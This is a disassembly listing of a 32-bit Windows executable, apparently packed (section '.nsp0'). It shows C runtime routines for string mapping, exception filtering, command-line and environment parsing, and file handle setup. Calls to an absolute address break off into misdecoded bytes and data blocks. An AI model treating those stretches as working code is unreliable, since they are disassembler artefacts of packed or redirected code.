sbb eax, eax
and eax, 8
inc eax
push eax
push dword ptr [ebp+20h]
call dword_427184 ; MultiByteToWideChar
mov ebx, eax
mov [ebp-1Ch], ebx
cmp ebx, edi
jz loc_422B49
mov [ebp-4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_41C1D0
mov [ebp-18h], esp
mov eax, esp
mov [ebp-24h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_422ADE
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor edi, edi
mov [ebp-24h], edi
or dword ptr [ebp-4], 0FFFFFFFFh
mov ebx, [ebp-1Ch]
loc_422ADE: ; CODE XREF: .nsp0:00422AC9j
cmp [ebp-24h], edi
jz short loc_422B49
push ebx
push dword ptr [ebp-24h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push 1
push dword ptr [ebp+20h]
call dword_427184 ; MultiByteToWideChar
test eax, eax
jz short loc_422B49
push edi
push edi
push ebx
push dword ptr [ebp-24h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call dword_427050 ; LCMapStringW
mov esi, eax
mov [ebp-28h], esi
cmp esi, edi
jz short loc_422B49
test byte ptr [ebp+0Dh], 4
jz short loc_422B5D
cmp [ebp+1Ch], edi
jz loc_422BD8
cmp esi, [ebp+1Ch]
jg short loc_422B49
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push ebx
push dword ptr [ebp-24h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call dword_427050 ; LCMapStringW
test eax, eax
jnz loc_422BD8
loc_422B49: ; CODE XREF: .nsp0:00422A70j
; .nsp0:00422AA7j ...
xor eax, eax
loc_422B4B: ; CODE XREF: .nsp0:00422A68j
; .nsp0:00422BDAj
lea esp, [ebp-38h]
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_422B5D: ; CODE XREF: .nsp0:00422B1Bj
mov dword ptr [ebp-4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41C1D0
mov [ebp-18h], esp
mov ebx, esp
mov [ebp-20h], ebx
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_422B91
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor edi, edi
xor ebx, ebx
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-28h]
loc_422B91: ; CODE XREF: .nsp0:00422B7Dj
cmp ebx, edi
jz short loc_422B49
push esi
push ebx
push dword ptr [ebp-1Ch]
push dword ptr [ebp-24h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call dword_427050 ; LCMapStringW
test eax, eax
jz short loc_422B49
cmp [ebp+1Ch], edi
push edi
push edi
jnz short loc_422BB8
push edi
push edi
jmp short loc_422BBE
; ---------------------------------------------------------------------------
loc_422BB8: ; CODE XREF: .nsp0:00422BB2j
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
loc_422BBE: ; CODE XREF: .nsp0:00422BB6j
push esi
push ebx
push 220h
push dword ptr [ebp+20h]
call dword_427180 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_422B49
loc_422BD8: ; CODE XREF: .nsp0:00422B20j
; .nsp0:00422B43j
mov eax, esi
jmp loc_422B4B
; =============== S U B R O U T I N E =======================================
sub_422BDF proc near ; CODE XREF: .nsp0:00422A3Cp
; sub_425D2F+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_422BFC
loc_422BEF: ; CODE XREF: sub_422BDF+1Bj
cmp byte ptr [eax], 0
jz short loc_422BFC
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_422BEF
loc_422BFC: ; CODE XREF: sub_422BDF+Ej
; sub_422BDF+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_422C07
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_422C07: ; CODE XREF: sub_422BDF+21j
mov eax, edx
retn
sub_422BDF endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push dword ptr [ebp+8]
call sub_422D4B
test eax, eax
pop ecx
jz loc_422D3F
mov ebx, [eax+8]
test ebx, ebx
jz loc_422D3F
cmp ebx, 5
jnz short loc_422C3B
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_422D48
; ---------------------------------------------------------------------------
loc_422C3B: ; CODE XREF: .nsp0:00422C2Dj
cmp ebx, 1
jz loc_422D3A
mov ecx, dword_4E15D0
mov [ebp+8], ecx
mov ecx, [ebp+0Ch]
mov dword_4E15D0, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_422D2A
mov ecx, dword_442E30
mov edx, dword_442E34
add edx, ecx
push esi
cmp ecx, edx
jge short loc_422C8A
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:442DC0h[esi*4]
loc_422C81: ; CODE XREF: .nsp0:00422C88j
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_422C81
loc_422C8A: ; CODE XREF: .nsp0:00422C73j
mov eax, [eax]
mov esi, dword_442E3C
cmp eax, 0C000008Eh
jnz short loc_422CA5
mov dword_442E3C, 83h
jmp short loc_422D15
; ---------------------------------------------------------------------------
loc_422CA5: ; CODE XREF: .nsp0:00422C97j
cmp eax, 0C0000090h
jnz short loc_422CB8
mov dword_442E3C, 81h
jmp short loc_422D15
; ---------------------------------------------------------------------------
loc_422CB8: ; CODE XREF: .nsp0:00422CAAj
cmp eax, 0C0000091h
jnz short loc_422CCB
mov dword_442E3C, 84h
jmp short loc_422D15
; ---------------------------------------------------------------------------
loc_422CCB: ; CODE XREF: .nsp0:00422CBDj
cmp eax, 0C0000093h
jnz short loc_422CDE
mov dword_442E3C, 85h
jmp short loc_422D15
; ---------------------------------------------------------------------------
loc_422CDE: ; CODE XREF: .nsp0:00422CD0j
cmp eax, 0C000008Dh
jnz short loc_422CF1
mov dword_442E3C, 82h
jmp short loc_422D15
; ---------------------------------------------------------------------------
loc_422CF1: ; CODE XREF: .nsp0:00422CE3j
cmp eax, 0C000008Fh
jnz short loc_422D04
mov dword_442E3C, 86h
jmp short loc_422D15
; ---------------------------------------------------------------------------
loc_422D04: ; CODE XREF: .nsp0:00422CF6j
cmp eax, 0C0000092h
jnz short loc_422D15
mov dword_442E3C, 8Ah
loc_422D15: ; CODE XREF: .nsp0:00422CA3j
; .nsp0:00422CB6j ...
push dword_442E3C
push 8
call ebx
pop ecx
mov dword_442E3C, esi
pop ecx
pop esi
jmp short loc_422D32
; ---------------------------------------------------------------------------
loc_422D2A: ; CODE XREF: .nsp0:00422C5Cj
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_422D32: ; CODE XREF: .nsp0:00422D28j
mov eax, [ebp+8]
mov dword_4E15D0, eax
loc_422D3A: ; CODE XREF: .nsp0:00422C3Ej
or eax, 0FFFFFFFFh
jmp short loc_422D48
; ---------------------------------------------------------------------------
loc_422D3F: ; CODE XREF: .nsp0:00422C19j
; .nsp0:00422C24j
push dword ptr [ebp+0Ch]
call dword_42704C ; UnhandledExceptionFilter
loc_422D48: ; CODE XREF: .nsp0:00422C36j
; .nsp0:00422D3Dj
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_422D4B proc near ; CODE XREF: .nsp0:00422C11p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_442E38
cmp dword_442DB8, edx
push esi
mov eax, offset dword_442DB8
jz short loc_422D78
lea esi, [ecx+ecx*2]
lea esi, ds:442DB8h[esi*4]
loc_422D6D: ; CODE XREF: sub_422D4B+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_422D78
cmp [eax], edx
jnz short loc_422D6D
loc_422D78: ; CODE XREF: sub_422D4B+16j
; sub_422D4B+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:442DB8h[ecx*4]
cmp eax, ecx
jnb short loc_422D8B
cmp [eax], edx
jz short locret_422D8D
loc_422D8B: ; CODE XREF: sub_422D4B+3Aj
xor eax, eax
locret_422D8D: ; CODE XREF: sub_422D4B+3Ej
retn
sub_422D4B endp
; ---------------------------------------------------------------------------
cmp dword_4E2B8C, 0
jnz short loc_422D9C
call sub_4200D2
loc_422D9C: ; CODE XREF: .nsp0:00422D95j
push esi
mov esi, dword_4E2B84
mov al, [esi]
cmp al, 22h
jnz short loc_422DCE
loc_422DA9: ; CODE XREF: .nsp0:00422DC1j
; .nsp0:00422DC4j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_422DC6
test al, al
jz short loc_422DC6
movzx eax, al
push eax
call sub_424C6B
test eax, eax
pop ecx
jz short loc_422DA9
inc esi
jmp short loc_422DA9
; ---------------------------------------------------------------------------
loc_422DC6: ; CODE XREF: .nsp0:00422DAFj
; .nsp0:00422DB3j
cmp byte ptr [esi], 22h
jnz short loc_422DD8
loc_422DCB: ; CODE XREF: .nsp0:00422DE0j
inc esi
jmp short loc_422DD8
; ---------------------------------------------------------------------------
loc_422DCE: ; CODE XREF: .nsp0:00422DA7j
cmp al, 20h
jbe short loc_422DD8
loc_422DD2: ; CODE XREF: .nsp0:00422DD6j
inc esi
cmp byte ptr [esi], 20h
ja short loc_422DD2
loc_422DD8: ; CODE XREF: .nsp0:00422DC9j
; .nsp0:00422DCCj ...
mov al, [esi]
test al, al
jz short loc_422DE2
cmp al, 20h
jbe short loc_422DCB
loc_422DE2: ; CODE XREF: .nsp0:00422DDCj
mov eax, esi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_422DE6 proc near
push ebx
xor ebx, ebx
cmp dword_4E2B8C, ebx
push esi
push edi
jnz short loc_422DF8
call sub_4200D2
loc_422DF8: ; CODE XREF: sub_422DE6+Bj
mov esi, dword_4E1568
xor edi, edi
loc_422E00: ; CODE XREF: sub_422DE6+30j
mov al, [esi]
cmp al, bl
jz short loc_422E18
cmp al, 3Dh
jz short loc_422E0B
inc edi
loc_422E0B: ; CODE XREF: sub_422DE6+22j
push esi
call sub_41B890
pop ecx
lea esi, [esi+eax+1]
jmp short loc_422E00
; ---------------------------------------------------------------------------
loc_422E18: ; CODE XREF: sub_422DE6+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_41BBCB
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4E1520, esi
jnz short loc_422E3A
push 9
call sub_41E0F9
pop ecx
loc_422E3A: ; CODE XREF: sub_422DE6+4Aj
mov edi, dword_4E1568
cmp [edi], bl
jz short loc_422E7D
push ebp
loc_422E45: ; CODE XREF: sub_422DE6+94j
push edi
call sub_41B890
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_422E76
push ebp
call sub_41BBCB
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_422E69
push 9
call sub_41E0F9
pop ecx
loc_422E69: ; CODE XREF: sub_422DE6+79j
push edi
push dword ptr [esi]
call sub_41C550
pop ecx
add esi, 4
pop ecx
loc_422E76: ; CODE XREF: sub_422DE6+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_422E45
pop ebp
loc_422E7D: ; CODE XREF: sub_422DE6+5Cj
push dword_4E1568
call sub_41B961
pop ecx
mov dword_4E1568, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_4E2B88, 1
pop ebx
retn
sub_422DE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_422E9F proc near ; CODE XREF: .nsp0:0041E08Cp
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_4E2B8C, ebx
push esi
push edi
jnz short loc_422EB6
call sub_4200D2
loc_422EB6: ; CODE XREF: sub_422E9F+10j
mov esi, offset dword_4E15D4
push 104h
push esi
push ebx
call near ptr 0B40000h
jmp near ptr 4E6DB36Dh
sub_422E9F endp
; ---------------------------------------------------------------------------
dd 30358900h, 8B004E15h, 741838FEh, 8DF88B02h, 8D50F845h
dd 5350FC45h, 4DE85753h, 8B000000h, 4D8BF845h, 88048DFCh
dd 8CD1E850h, 0F08BFFFFh, 3B18C483h, 6A0875F3h, 0B1EFE808h
dd 8D59FFFFh, 8D50F845h, 8B50FC45h, 48DFC45h, 57565086h
dd 17E8h, 0FC458B00h, 4814C483h, 15183589h, 5E5F004Eh
dd 4E1514A3h, 0C3C95B00h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov ecx, [ebp+18h]
mov eax, [ebp+14h]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+10h]
push edi
mov edi, [ebp+0Ch]
mov dword ptr [eax], 1
mov eax, [ebp+8]
test edi, edi
jz short loc_422F62
mov [edi], esi
add edi, 4
mov [ebp+0Ch], edi
loc_422F62: ; CODE XREF: .nsp0:00422F58j
cmp byte ptr [eax], 22h
jnz short loc_422FAB
loc_422F67: ; CODE XREF: .nsp0:00422F90j
; .nsp0:00422F97j
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_422F99
test dl, dl
jz short loc_422F99
movzx edx, dl
test byte_4E2A61[edx], 4
jz short loc_422F8C
inc dword ptr [ecx]
test esi, esi
jz short loc_422F8C
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_422F8C: ; CODE XREF: .nsp0:00422F7Ej
; .nsp0:00422F84j
inc dword ptr [ecx]
test esi, esi
jz short loc_422F67
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_422F67
; ---------------------------------------------------------------------------
loc_422F99: ; CODE XREF: .nsp0:00422F6Ej
; .nsp0:00422F72j
inc dword ptr [ecx]
test esi, esi
jz short loc_422FA3
and byte ptr [esi], 0
inc esi
loc_422FA3: ; CODE XREF: .nsp0:00422F9Dj
cmp byte ptr [eax], 22h
jnz short loc_422FEE
inc eax
jmp short loc_422FEE
; ---------------------------------------------------------------------------
loc_422FAB: ; CODE XREF: .nsp0:00422F65j
; .nsp0:00422FDDj
inc dword ptr [ecx]
test esi, esi
jz short loc_422FB6
mov dl, [eax]
mov [esi], dl
inc esi
loc_422FB6: ; CODE XREF: .nsp0:00422FAFj
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_4E2A61[ebx], 4
jz short loc_422FD1
inc dword ptr [ecx]
test esi, esi
jz short loc_422FD0
mov bl, [eax]
mov [esi], bl
inc esi
loc_422FD0: ; CODE XREF: .nsp0:00422FC9j
inc eax
loc_422FD1: ; CODE XREF: .nsp0:00422FC3j
cmp dl, 20h
jz short loc_422FDF
test dl, dl
jz short loc_422FE3
cmp dl, 9
jnz short loc_422FAB
loc_422FDF: ; CODE XREF: .nsp0:00422FD4j
test dl, dl
jnz short loc_422FE6
loc_422FE3: ; CODE XREF: .nsp0:00422FD8j
dec eax
jmp short loc_422FEE
; ---------------------------------------------------------------------------
loc_422FE6: ; CODE XREF: .nsp0:00422FE1j
test esi, esi
jz short loc_422FEE
and byte ptr [esi-1], 0
loc_422FEE: ; CODE XREF: .nsp0:00422FA6j
; .nsp0:00422FA9j ...
and dword ptr [ebp+18h], 0
loc_422FF2: ; CODE XREF: .nsp0:004230D6j
cmp byte ptr [eax], 0
jz loc_4230DB
loc_422FFB: ; CODE XREF: .nsp0:00423008j
mov dl, [eax]
cmp dl, 20h
jz short loc_423007
cmp dl, 9
jnz short loc_42300A
loc_423007: ; CODE XREF: .nsp0:00423000j
inc eax
jmp short loc_422FFB
; ---------------------------------------------------------------------------
loc_42300A: ; CODE XREF: .nsp0:00423005j
cmp byte ptr [eax], 0
jz loc_4230DB
test edi, edi
jz short loc_42301F
mov [edi], esi
add edi, 4
mov [ebp+0Ch], edi
loc_42301F: ; CODE XREF: .nsp0:00423015j
mov edx, [ebp+14h]
inc dword ptr [edx]
loc_423024: ; CODE XREF: .nsp0:004230C7j
mov dword ptr [ebp+8], 1
xor ebx, ebx
loc_42302D: ; CODE XREF: .nsp0:00423034j
cmp byte ptr [eax], 5Ch
jnz short loc_423036
inc eax
inc ebx
jmp short loc_42302D
; ---------------------------------------------------------------------------
loc_423036: ; CODE XREF: .nsp0:00423030j
cmp byte ptr [eax], 22h
jnz short loc_423067
test bl, 1
jnz short loc_423065
xor edi, edi
cmp [ebp+18h], edi
jz short loc_423054
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_423054
mov eax, edx
jmp short loc_423057
; ---------------------------------------------------------------------------
loc_423054: ; CODE XREF: .nsp0:00423045j
; .nsp0:0042304Ej
mov [ebp+8], edi
loc_423057: ; CODE XREF: .nsp0:00423052j
mov edi, [ebp+0Ch]
xor edx, edx
cmp [ebp+18h], edx
setz dl
mov [ebp+18h], edx
loc_423065: ; CODE XREF: .nsp0:0042303Ej
shr ebx, 1
loc_423067: ; CODE XREF: .nsp0:00423039j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_42307C
inc ebx
loc_42306F: ; CODE XREF: .nsp0:0042307Aj
test esi, esi
jz short loc_423077
mov byte ptr [esi], 5Ch
inc esi
loc_423077: ; CODE XREF: .nsp0:00423071j
inc dword ptr [ecx]
dec ebx
jnz short loc_42306F
loc_42307C: ; CODE XREF: .nsp0:0042306Cj
mov dl, [eax]
test dl, dl
jz short loc_4230CC
cmp dword ptr [ebp+18h], 0
jnz short loc_423092
cmp dl, 20h
jz short loc_4230CC
cmp dl, 9
jz short loc_4230CC
loc_423092: ; CODE XREF: .nsp0:00423086j
cmp dword ptr [ebp+8], 0
jz short loc_4230C6
test esi, esi
jz short loc_4230B5
movzx ebx, dl
test byte_4E2A61[ebx], 4
jz short loc_4230AE
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_4230AE: ; CODE XREF: .nsp0:004230A6j
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4230C4
; ---------------------------------------------------------------------------
loc_4230B5: ; CODE XREF: .nsp0:0042309Aj
movzx edx, dl
test byte_4E2A61[edx], 4
jz short loc_4230C4
inc eax
inc dword ptr [ecx]
loc_4230C4: ; CODE XREF: .nsp0:004230B3j
; .nsp0:004230BFj
inc dword ptr [ecx]
loc_4230C6: ; CODE XREF: .nsp0:00423096j
inc eax
jmp loc_423024
; ---------------------------------------------------------------------------
loc_4230CC: ; CODE XREF: .nsp0:00423080j
; .nsp0:0042308Bj ...
test esi, esi
jz short loc_4230D4
and byte ptr [esi], 0
inc esi
loc_4230D4: ; CODE XREF: .nsp0:004230CEj
inc dword ptr [ecx]
jmp loc_422FF2
; ---------------------------------------------------------------------------
loc_4230DB: ; CODE XREF: .nsp0:00422FF5j
; .nsp0:0042300Dj
test edi, edi
jz short loc_4230E2
and dword ptr [edi], 0
loc_4230E2: ; CODE XREF: .nsp0:004230DDj
mov eax, [ebp+14h]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_4230EC proc near ; CODE XREF: .nsp0:0041E082p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, dword_4E16D8
push ebx
push ebp
mov ebp, dword_42703C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_42313A
call ebp ; dword_42703C
mov esi, eax
cmp esi, ebx
jz short loc_42311B
mov dword_4E16D8, 1
jmp short loc_423143
; ---------------------------------------------------------------------------
loc_42311B: ; CODE XREF: sub_4230EC+21j
call dword_427040 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz loc_423215
mov dword_4E16D8, 2
jmp loc_4231C9
; ---------------------------------------------------------------------------
loc_42313A: ; CODE XREF: sub_4230EC+19j
cmp eax, 1
jnz loc_4231C4
loc_423143: ; CODE XREF: sub_4230EC+2Dj
cmp esi, ebx
jnz short loc_423153
call ebp ; dword_42703C
mov esi, eax
cmp esi, ebx
jz loc_423215
loc_423153: ; CODE XREF: sub_4230EC+59j
cmp [esi], bx
mov eax, esi
jz short loc_423168
loc_42315A: ; CODE XREF: sub_4230EC+73j
; sub_4230EC+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_42315A
inc eax
inc eax
cmp [eax], bx
jnz short loc_42315A
loc_423168: ; CODE XREF: sub_4230EC+6Cj
sub eax, esi
mov edi, dword_427180
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; dword_427180
mov ebp, eax
cmp ebp, ebx
jz short loc_4231B9
push ebp
call sub_41BBCB
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_4231B9
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; dword_427180
test eax, eax
jnz short loc_4231B5
push [esp+18h+var_8]
call sub_41B961
pop ecx
mov [esp+18h+var_8], ebx
loc_4231B5: ; CODE XREF: sub_4230EC+B9j
mov ebx, [esp+18h+var_8]
loc_4231B9: ; CODE XREF: sub_4230EC+99j
; sub_4230EC+A8j
push esi
call dword_427044 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_423217
; ---------------------------------------------------------------------------
loc_4231C4: ; CODE XREF: sub_4230EC+51j
cmp eax, 2
jnz short loc_423215
loc_4231C9: ; CODE XREF: sub_4230EC+49j
cmp edi, ebx
jnz short loc_4231D9
call dword_427040 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz short loc_423215
loc_4231D9: ; CODE XREF: sub_4230EC+DFj
cmp [edi], bl
mov eax, edi
jz short loc_4231E9
loc_4231DF: ; CODE XREF: sub_4230EC+F6j
; sub_4230EC+FBj
inc eax
cmp [eax], bl
jnz short loc_4231DF
inc eax
cmp [eax], bl
jnz short loc_4231DF
loc_4231E9: ; CODE XREF: sub_4230EC+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41BBCB
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4231FF
xor esi, esi
jmp short loc_42320A
; ---------------------------------------------------------------------------
loc_4231FF: ; CODE XREF: sub_4230EC+10Dj
push ebp
push edi
push esi
call near ptr sub_41C9B0
add esp, 0Ch
loc_42320A: ; CODE XREF: sub_4230EC+111j
push edi
call near ptr 0B40000h
aas
mov eax, esi
jmp short loc_423217
; ---------------------------------------------------------------------------
loc_423215: ; CODE XREF: sub_4230EC+39j
; sub_4230EC+61j ...
xor eax, eax
loc_423217: ; CODE XREF: sub_4230EC+D6j
; sub_4230EC+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_4230EC endp
; ---------------------------------------------------------------------------
loc_42321E: ; CODE XREF: .nsp0:0041E072p
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41BBCB
mov esi, eax
pop ecx
test esi, esi
jnz short loc_42323E
push 1Bh
call sub_41E0F9
pop ecx
loc_42323E: ; CODE XREF: .nsp0:00423234j
mov dword_4E1820, esi
mov dword_4E1920, 20h
lea eax, [esi+100h]
loc_423254: ; CODE XREF: .nsp0:00423270j
cmp esi, eax
jnb short loc_423272
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4E1820
add esi, 8
add eax, 100h
jmp short loc_423254
; ---------------------------------------------------------------------------
loc_423272: ; CODE XREF: .nsp0:00423256j
lea eax, [esp+10h]
push eax
call near ptr 0B40000h
and byte ptr [esi-7Dh], 7Ch
and al, 42h
add [edi], cl
test al, ch
; ---------------------------------------------------------------------------
dw 0
dd 24448B00h, 0FC08544h, 0B984h, 8D308B00h, 0B80468h, 3B000008h
dd 2E1C8DF0h, 0F08B027Ch, 19203539h, 527D004Eh, 4E1824BFh
dd 1006800h, 0CE80000h, 85FFFF89h, 387459C0h, 19200583h
dd 8920004Eh, 888D07h, 3B000001h, 801873C1h, 83000460h
dd 40C6FF08h, 0F8B0A05h, 8108C083h, 100C1h, 83E4EB00h
dd 353904C7h, 4E1920h, 6EBBB7Ch, 1920358Bh, 0FF33004Eh
dd 467EF685h, 0F883038Bh, 8A3674FFh, 0C1F6004Dh, 0F62E7401h
dd 0B7508C1h, 0CCDEE850h, 85200071h, 8B1E74C0h, 0C1CF8BC7h
dd 0E18305F8h, 85048B1Fh, 4E1820h, 8BC8048Dh, 8A08890Bh
dd 4888004Dh, 83454704h, 0FE3B04C3h, 0DB33BA7Ch, 4E1820A1h
dd 0D83C8300h, 0D8348DFFh, 0DB854D75h, 810446C6h, 0F66A0575h
dd 8B0AEB58h, 0D8F748C3h, 0C083C01Bh, 85E850F5h, 4C0071CCh
dd 0FF83F88Bh, 571774FFh, 71CC77E8h, 0C085B400h, 0FF250C74h
dd 89000000h, 2F8833Eh, 4E800675h, 0FEB4004h, 7503F883h
dd 44E800Ah, 8004EB08h, 4380044Eh, 7C03FB83h, 2035FF9Bh
dd 0E8004E19h, 71CC40h, 5D5E5F8Ah, 44C4835Bh, 0CCCCCCC3h
dd 30324356h, 30304358h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4233D4 proc near ; DATA XREF: .nsp0:0041E00Do
; sub_421EC2+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_423474
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_423407: ; CODE XREF: sub_4233D4+90j
cmp esi, 0FFFFFFFFh
jz short loc_42346D
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_42345B
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_42345B
js short loc_423466
mov edi, [ebx+8]
push ebx
call sub_41D214
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41D256
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41D2EA
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_42345B: ; CODE XREF: sub_4233D4+40j
; sub_4233D4+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_423407
; ---------------------------------------------------------------------------
loc_423466: ; CODE XREF: sub_4233D4+54j
mov eax, 0
jmp short loc_423489
; ---------------------------------------------------------------------------
loc_42346D: ; CODE XREF: sub_4233D4+36j
mov eax, 1
jmp short loc_423489
; ---------------------------------------------------------------------------
loc_423474: ; CODE XREF: sub_4233D4+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41D256
add esp, 8
pop ebp
mov eax, 1
loc_423489: ; CODE XREF: sub_4233D4+97j
; sub_4233D4+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4233D4 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41D256
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_4234AC proc near ; CODE XREF: sub_41E0F9+9p
; sub_41E11E+9p
mov eax, dword_4E1570
cmp eax, 1
jz short loc_4234C3
test eax, eax
jnz short locret_4234E4
cmp dword_442554, 1
jnz short locret_4234E4
loc_4234C3: ; CODE XREF: sub_4234AC+8j
push 0FCh
call sub_4234E5
mov eax, dword_4E16DC
pop ecx
test eax, eax
jz short loc_4234D9
call eax ; dword_4E16DC
loc_4234D9: ; CODE XREF: sub_4234AC+29j
push 0FFh
call sub_4234E5
pop ecx
locret_4234E4: ; CODE XREF: sub_4234AC+Cj
; sub_4234AC+15j
retn
sub_4234AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4234E5 proc near ; CODE XREF: sub_41E0F9+12p
; sub_41E11E+12p ...
var_1A4 = byte ptr -1A4h
arg_0 = dword ptr 8
arg_B = byte ptr 13h
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_442E48
loc_4234F8: ; CODE XREF: sub_4234E5+20j
cmp edx, [eax]
jz short loc_423507
add eax, 8
inc ecx
cmp eax, offset dword_442ED8
jl short loc_4234F8
loc_423507: ; CODE XREF: sub_4234E5+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_442E48[esi]
jnz near ptr loc_423634+1
mov eax, dword_4E1570
cmp eax, 1
jz loc_42360F
test eax, eax
jnz short loc_423538
cmp dword_442554, 1
jz loc_42360F
loc_423538: ; CODE XREF: sub_4234E5+44j
cmp edx, 0FCh
jz near ptr loc_423634+1
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call near ptr 0B40000h
sbb al, 85h
sal [ebp+arg_B], 8Dh
test [esi+edi*8-1], ebx
jmp fword ptr [eax+0Ch]
; ---------------------------------------------------------------------------
dd 5000427Ch, 0FF8FE3E8h, 8D5959FFh, 0FFFE5C85h, 8D5057FFh
dd 0FFFE5CBDh, 830EE8FFh, 5940FFFFh, 763CF883h, 5C858D29h
dd 50FFFFFEh, 0FF82FBE8h, 8DF88BFFh, 0FFFE5C85h, 3BE883FFh
